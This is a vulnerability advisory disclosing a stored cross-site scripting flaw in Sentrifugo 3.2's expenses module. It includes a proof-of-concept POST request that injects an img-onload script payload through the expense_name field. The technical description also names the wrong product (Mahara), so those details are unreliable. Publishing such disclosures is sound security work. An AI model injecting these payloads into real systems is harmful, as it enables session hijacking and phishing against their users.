# Exploit Title: Sentrifugo CMS 3.2 - Persistent Cross-Site Scripting
# Dork: N/A
# Date: 2020-05-06
# Exploit Author: Vulnerability-Lab
# Vendor: http://www.sentrifugo.com/
# Link: http://www.sentrifugo.com/download
# Version: 3.2
# Category: Webapps
# CVE: N/A

Document Title:
===============
Sentrifugo v3.2 CMS - Persistent XSS Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2229


Product & Service Introduction:
===============================
http://www.sentrifugo.com/
http://www.sentrifugo.com/download


Affected Product(s):
====================
Sentrifugo
Product: Sentrifugo v3.2 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-05: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the `expense_name` parameters
of the `/expenses/expenses/edit` module in the `index.php` file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as expenses entry. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located
on the application-side. Entries of expenses can be reviewed in the
backend by higher privileged accounts as well.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] index.php/expenses/expenses/edit

Vulnerable Input(s):
[+] Expenses Name

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] expense_name

Affected Module(s):
[+] index.php/expenses/expenses


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: Vulnerable Source
<div id="maincontentdiv">	
<div id="dialog-confirm" style="display:none;">
<div class="newframe-div">
<div class="new-form-ui height32">
<div class="division">
<input type="text" maxlength="12" id="number_value"
name="number_value"></div>
<span class="errors"
id="errors-contactnumber"></span></div></div></div>								
<div id="empstatus-alert" style="display:none;">
<div class="newframe-div"><div id="empstatusmessage"></div></div></div>
<div id="empleaves-alert" style="display:none;">
<div class="newframe-div"><div id="empleavesmessage"></div></div></div>	


--- PoC Session Logs [POST] --- (Expenses Inject)
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Host: sentrifugo.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 352
Origin: http://sentrifugo.localhost:8080
Connection: keep-alive
Referer: http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Cookie: PHPSESSID=h67jk6dashpvgn5n3buc6uia87;
_ga=GA1.2.788961556.1587849443; _gid=GA1.2.1158360779.1587849443
id=&limit=&offset=&parameter=all&currencyid=1&file_original_names=&file_new_names=&last_inserted_receipts=&receiptId=&expense_Id=&
expense_name=<img src="evil.source"
onload=alert(document.domain)>&category_id=&project_id=&expense_date=&expense_currency_id=2&
expense_amount=&cal_amount=0&is_from_advance=&expense_payment_id=&expense_payment_ref_no=&trip_id=&description=&post_receipt_ids=&submit=Save
-
POST: HTTP/1.1 200 OK
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 19284
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


Reference(s):
http://sentrifugo.localhost:8080/index.php
http://sentrifugo.localhost:8080/index.php/expenses
http://sentrifugo.localhost:8080/index.php/expenses/expenses/
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com